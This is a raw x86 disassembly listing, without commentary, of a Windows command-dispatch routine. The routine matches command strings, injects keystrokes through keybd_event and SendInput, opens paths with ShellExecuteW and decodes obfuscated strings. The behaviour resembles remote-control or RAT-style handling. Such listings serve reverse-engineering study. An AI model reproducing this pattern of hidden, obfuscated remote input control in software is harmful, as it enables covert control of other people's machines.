mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042bb40
mov ecx, esi
call fcn.00442050
add esp, 0x18
mov ecx, edi
call fcn.0045bf90
lea ecx, [ebp - 0xe4]
call fcn.0042bc90
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x522f01
mov edx, dword [ebp - 0xb4]
inc ecx
jmp 0x520edc
mov edx, 0x5b6700
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x521805
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5217d0
sub ecx, dword [ebp - 0x2c]
je 0x521805
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521805
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5217f0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52180c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521840
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521836
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5218d4
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521880
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.005231a0
test al, al
je 0x520595
mov byte [esi + 0x9c], 1
jmp 0x520595
mov edx, 0x5b6718
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x521925
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5218f0
sub ecx, dword [ebp - 0x2c]
je 0x521925
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521925
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521910
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52192c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521960
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521956
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f96
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x521b6a
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5219a0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.005231a0
test al, al
je 0x520595
mov byte [ebp - 4], 0x4e
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x523040
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBfamd0Y111Z2xibXUgHjgeICN1cSB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042abe0
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00431bf0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x298]
call fcn.00432dd0
lea ecx, [ebp - 0x298]
call fcn.00431b70
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x60]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042bb40
lea ecx, [ebp - 0x2c]
call fcn.00442050
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.0041eac0
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521add
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x50
call fcn.0042bc90
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042ba50
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.0051e900
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x521b4c
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x521b42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f96
push ecx
push edx
call fcn.00546919
add esp, 8
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x520595
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x520595
mov edx, 0x5b6760
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x521bba
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521b85
sub ecx, dword [ebp - 0x2c]
je 0x521bba
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521bba
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521ba5
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521bc1
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521bf5
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521beb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f96
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x521d34
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521c30
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fa0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fa0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.004483b0
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.005230c0
mov ecx, dword [eax]
test ecx, ecx
je 0x521ce4
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042ba50
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045bf90
jmp 0x521ce7
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521d01
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x521d19
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x522f01
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x5205ab
mov edx, 0x5b6910
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x521d85
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521d50
sub ecx, dword [ebp - 0x2c]
je 0x521d85
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521d85
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521d70
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521d8c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521dc0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521db6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f96
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x521f91
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521e00
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fa0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x58a2f0
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042c390
test al, al
jne 0x521e62
push 0
push 0x58a2f0
lea ecx, [ebp - 0x3c]
call fcn.0042c6d0
mov byte [ebp - 4], 0x5b
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fa0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push 0x58a2f0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5c
call fcn.0042c390
test al, al
jne 0x521ea6
push 0
push 0x58a2f0
lea ecx, [ebp - 0x40]
call fcn.0042c6d0
mov byte [ebp - 4], 0x5d
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fa0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x58a2f0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042c390
test al, al
jne 0x521eea
push 0
push 0x58a2f0
lea ecx, [ebp - 0x34]
call fcn.0042c6d0
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.004487d0
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x40]
push dword [ebp - 0x20]
push eax
call fcn.0044a2f0
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521f44
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521f5e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x521f76
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x522f01
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x5205ab
mov edx, 0x5b67d8
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x521fe5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521fb0
sub ecx, dword [ebp - 0x2c]
je 0x521fe5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521fe5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521fd0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521fec
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042aae0
cmp dword [ebp - 0x20], 0
je 0x522171
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042b560
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.005230c0
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x48], edi
call fcn.0041d300
push str.eSBfbm4gHjgeeSBmZ2JjXXVnbGJtdSA4ICN1cSB7ew
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042bee0
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042bb40
lea ecx, [ebp - 0x2c]
call fcn.00442050
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041eac0
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.0042b640
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x52208d.5
movzx eax, byte [eax + 0x523074]
jmp dword [eax*4 + 0x523060]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x60]
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgeZF9qcWN7e3s
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042bee0
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x60]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042bb40
mov ecx, esi
call fcn.00442050
add esp, 0x18
mov ecx, edi
call fcn.0045bf90
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x62
call fcn.0042bc90
jmp 0x522130
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00405eb0
jmp 0x522130
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x522130
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x522130
test edi, edi
je 0x522156
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x48]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045bf90
lea ecx, [ebp - 0x130]
call fcn.0042bc90
lea ecx, [ebp - 0x38]
call fcn.0042b640
lea ecx, [ebp - 0x3c]
jmp 0x522efc
mov edx, 0x5b68e0
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x5221c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522190
sub ecx, dword [ebp - 0x2c]
je 0x5221c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5221c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5221b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5221cc
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042aae0
cmp dword [ebp - 0x20], 0
je 0x52273d
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522210
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
lea ecx, [ebp - 0x60]
mov edx, 0x5b6a00
call fcn.00441f20
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52224a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004521a0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042aae0
cmp byte [ebp - 0x2d], 0
je 0x522342
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.005486c0
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x522719
mov edx, 0x5b6a18
lea ecx, [ebp - 0x60]
call fcn.00441f20
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52235a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004521a0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042aae0
cmp byte [ebp - 0x2d], 0
je 0x5223a5
push 0
push 0
push 0x44a230
call fcn.00551e9a
add esp, 0xc
jmp 0x522719
mov edx, 0x5b6a30
lea ecx, [ebp - 0x60]
call fcn.00441f20
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5223bd
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004521a0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042aae0
cmp byte [ebp - 0x2d], 0
lea ecx, [ebp - 0x60]
je 0x522533
mov edx, 0x5b69d0
call fcn.00441f20
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x52240f
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042b560
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x68
call fcn.0042aae0
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x522711
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042c7e0
push str.cF1gZ2xdbW5jbF1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042c7e0
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042c7e0
lea ecx, [ebp - 0x38]
call fcn.0041d300
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042ba50
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004422b0
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041eac0
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.0042b640
push 0x58a2f0
lea ecx, [ebp - 0x44]
call fcn.0042c7e0
push 0x58a2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6e
call fcn.0042c7e0
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042ba50
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.004422b0
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042ba50
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004422b0
add esp, 4
mov byte [ebp - 4], 0x71
jmp 0x5226b9
mov edx, str.YV9qYQ
call fcn.00441f20
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x522548
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004521a0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042aae0
cmp byte [ebp - 0x2d], 0
je 0x522719
mov edx, str.YV9qYQ
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x52259a
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042b560
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x74
call fcn.0042aae0
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x522711
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042c7e0
push str.YV9qYV1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042c7e0
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042c7e0
lea ecx, [ebp - 0x38]
call fcn.0041d300
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042ba50
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004422b0
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041eac0
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0042b640
push 0x58a2f0
lea ecx, [ebp - 0x44]
call fcn.0042c7e0
push 0x58a2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x7a
call fcn.0042c7e0
push ecx
mov byte [ebp - 4], 0x7b
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042ba50
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.004422b0
mov edi, eax
mov byte [ebp - 4], 0x7c
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042ba50
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004422b0
add esp, 4
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x44]
mov edx, edi
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.00453160
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042b640
lea ecx, [ebp - 0x48]
call fcn.0042b640
lea ecx, [ebp - 0x20]
call fcn.0042b640
lea ecx, [ebp - 0x44]
call fcn.0042b640
lea ecx, [ebp - 0x38]
call fcn.0042b640
lea ecx, [ebp - 0x1c]
call fcn.0042b640
lea ecx, [ebp - 0x3c]
call fcn.0042b640
lea ecx, [ebp - 0x40]
call fcn.0042b640
lea ecx, [ebp - 0x34]
call fcn.0042b640
mov eax, dword [ebp - 0xb8]
cmp eax, 0x10
jb 0x522f01
inc eax
push eax
push dword [ebp - 0xcc]
call fcn.0042bc10
add esp, 8
jmp 0x522f01
mov edx, 0x5b6928
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x52278d
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522758
sub ecx, dword [ebp - 0x2c]
je 0x52278d
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52278d
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522778
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x522794
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042aae0
cmp dword [ebp - 0x20], 0
je 0x522850
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5227d7
sub ecx, edx
lea eax, [ebp - 0xe4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
call fcn.0054b8ed
lea ecx, [ebp - 0xe4]
mov edi, eax
call fcn.0042a8d0
mov esi, eax
mov dword [edi], 0
push 0xa
